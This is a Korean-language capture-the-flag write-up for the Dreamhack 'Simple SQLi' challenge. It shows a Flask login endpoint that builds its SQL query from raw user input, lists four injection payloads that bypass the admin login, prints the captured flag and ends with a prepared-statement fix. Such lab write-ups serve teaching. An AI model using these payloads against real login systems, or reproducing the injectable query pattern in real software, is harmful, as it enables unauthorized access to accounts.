Dreamhack Simple SQLi Write-up
Category: Web Hacking
Vulnerability: SQL Injection
문제 개요
로그인 서비스에 SQL Injection 취약점이 존재한다. 플래그는 flag.txt, FLAG 변수에 있으며, admin 계정으로 로그인하면 획득할 수 있다.
데이터베이스 구조
create table users(userid char(100), userpassword char(100))
insert into users values ("guest", "guest"), ("admin", 랜덤16바이트Hex)
┌─────────┬──────────────────────────────────┐
│ userid │ userpassword │
├─────────┼──────────────────────────────────┤
│ guest │ guest │
│ admin │ (랜덤 생성된 32자리 Hex 문자열) │
└─────────┴──────────────────────────────────┘
admin의 비밀번호는 서버 실행 시 랜덤으로 생성되므로 예측 불가능하다.
취약점 분석
/login 엔드포인트 코드
userid = request.form.get('userid')
userpassword = request.form.get('userpassword')
res = query_db(
f'select * from users where userid="{userid}" and userpassword="{userpassword}"'
)
if res:
userid = res[0]
if userid == 'admin':
return f'hello {userid} flag is {FLAG}' # FLAG 출력!
else:
return f'hello {userid}'
else:
return 'wrong'
취약점: 사용자 입력값을 검증 없이 SQL 쿼리에 직접 삽입 (RawQuery 방식)
원래 실행되는 쿼리:
SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}"
공격 방법
방법 1: -- 주석으로 비밀번호 조건 제거 (사용한 방법)
userid 입력: admin"--
password 입력: 아무거나
실행되는 쿼리:
SELECT * FROM users WHERE userid="admin"-- " AND userpassword="아무거나"
-- 이후 주석 처리되어 실제 실행:
SELECT * FROM users WHERE userid="admin"
비밀번호 조건이 완전히 사라져 admin 행이 반환됨 → 로그인 성공!
방법 2: or "1" 로 항상 참 만들기
userid 입력: admin" or "1
password 입력: 아무거나
SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="아무거나"
userid="admin" 이 True → True or ... = True → 로그인 성공
방법 3: password 조건에 or 추가
userid 입력: admin
password 입력: DUMMY" or userid="admin
SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
(False) or userid="admin" = True → 로그인 성공
방법 4: LIMIT으로 admin 행 직접 선택
userid 입력: " or 1 LIMIT 1,1--
password 입력: 아무거나
SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1
or 1 로 전체 행 반환 후 LIMIT 1,1 로 2번째 행(admin) 선택
풀이 단계
Step 1. guest / guest 로 정상 로그인 확인
Step 2. userid에 admin"-- 입력, password에 아무거나 입력
Step 3. Login 버튼 클릭
Step 4. FLAG 확인
hello admin flag is DH{c1126c8d35d8deaa39c5dd6fc8855ed0}
방어 방법
Prepared Statement 사용
# 취약한 코드 (RawQuery)
sql = f'select * from users where userid="{userid}"'
cursor.execute(sql)
# 안전한 코드 (Prepared Statement)
sql = 'select * from users where userid=?'
cursor.execute(sql, (userid,))
# 입력값을 SQL 명령어가 아닌 순수 데이터로 처리!
Prepared Statement는 입력값을 SQL 명령어로 해석하지 않고 데이터로만 처리하기 때문에 SQL Injection 자체가 불가능해진다.
핵심 개념 정리
개념 설명
| RawQuery | 입력값을 SQL에 그대로 삽입 → 취약 |
| -- 주석 | 이후 SQL을 전부 무시 |
| or 조건 | 앞 조건이 False여도 뒤가 True면 통과 |
| LIMIT n,m | n번째 행부터 m개 반환 |
| Prepared Statement | 입력값을 데이터로만 처리 → 안전 |
Flag

